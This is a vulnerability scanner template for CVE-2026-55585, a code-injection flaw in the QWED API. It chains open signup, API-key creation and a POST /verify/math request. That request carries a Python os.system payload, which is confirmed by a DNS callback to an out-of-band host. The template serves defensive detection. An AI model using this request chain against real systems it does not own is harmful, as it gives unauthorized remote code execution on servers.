id: CVE-2026-55585

info:
  name: "QWED - Code Injection (parse_expr RCE)"
  author: vedas-arpsyndicate
  severity: high
  description: |
    QWED before 5.1.2 passes caller-controlled math expressions directly to SymPy parse_expr()
    without restricted global_dict/local_dict namespaces, so Python eval() resolves builtins and
    executes arbitrary code in the API server process. The default-enabled POST /auth/signup lets
    anyone create a tenant account, POST /auth/api-keys issues an x-api-key, and POST /verify/math
    then evaluates the attacker-supplied expression, giving remote code execution.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-55585&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=qwed&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-55585
    cwe-id: CWE-94
  metadata:
    verified: false
    max-request: 3
  tags: cve,cve2026,qwed,rce,oast,intrusive

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /auth/signup HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{randstr}}@{{randstr}}.io","password":"Vedas_{{randstr}}1!","organization_name":"{{randstr}}"}

    matchers:
      - type: word
        part: body
        words:
          - "access_token"
        internal: true

    extractors:
      - type: regex
        name: jwt
        part: body
        group: 1
        internal: true
        regex:
          - '"access_token"\s*:\s*"([^"]+)"'

  - raw:
      - |
        POST /auth/api-keys HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{jwt}}

        {"name":"{{randstr}}"}

    matchers:
      - type: word
        part: body
        words:
          - '"key"'
        internal: true

    extractors:
      - type: regex
        name: apikey
        part: body
        group: 1
        internal: true
        regex:
          - '"key"\s*:\s*"([^"]+)"'

  - raw:
      - |
        POST /verify/math HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-api-key: {{apikey}}

        {"expression":"__import__('os').system('nslookup {{interactsh-url}}')"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 200